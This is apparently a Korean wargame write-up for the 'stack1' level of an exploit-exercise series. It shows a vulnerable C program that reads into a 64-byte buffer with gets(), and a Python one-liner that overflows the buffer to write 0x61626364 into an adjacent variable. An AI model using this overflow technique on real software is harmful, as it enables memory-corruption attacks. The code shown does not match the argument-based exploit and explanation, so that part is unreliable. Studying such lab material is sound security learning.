문제에 제시된 소스코드는 다음과 같다.

#include <stdlib.h> #include <unistd.h> #include <stdio.h> int main(int argc, char **argv) { volatile int modified; char buffer[64]; modified = 0; gets(buffer); if(modified != 0) { printf("you have changed the 'modified' variable\n"); } else { printf("Try again?\n"); } }

argc의 값을1로 만들고 stack0과 같이 버퍼오버플로우를 이용하여 값을 조작하면 될것 같다.

우리는 여기서 argc와 argv 변수를 이해할 필요가 있다.


argc : main()함수에 전달되는 정보의 갯수

argv : main함수에 전달되는 실질적인 정보


argv[0] 에는 실행 경로가 들어가 있다.


이 두 변수 또한 변수이므로 안에 들어있는 정보를 조작할 수 있다.


배열에 인자값을 직접 넘겨줘야 하므로 이 또한 python 을 이용하여 exploit code를 작성한다.




./stack1 $(python -c 'print"A"*64 + "\x64\x63\x62\x61"')


위의 명령을 실행시키게 되면 마찬가지로 배열이 A로 덮히게 되고 그 다음 메모리에 접근할 수 있다.

C언어 소스코드를 참고하여 0x61626364를 리틀엔디안 형식으로 넣어주게 되면 조건을 만족하게 된다.




'pwnable > exploit-exercise' 카테고리의 다른 글

stack5  (0) 2017.02.24
stack4  (0) 2017.02.24
stack3  (0) 2017.02.24
stack2  (0) 2016.07.11
stack0  (0) 2016.07.09

+ Recent posts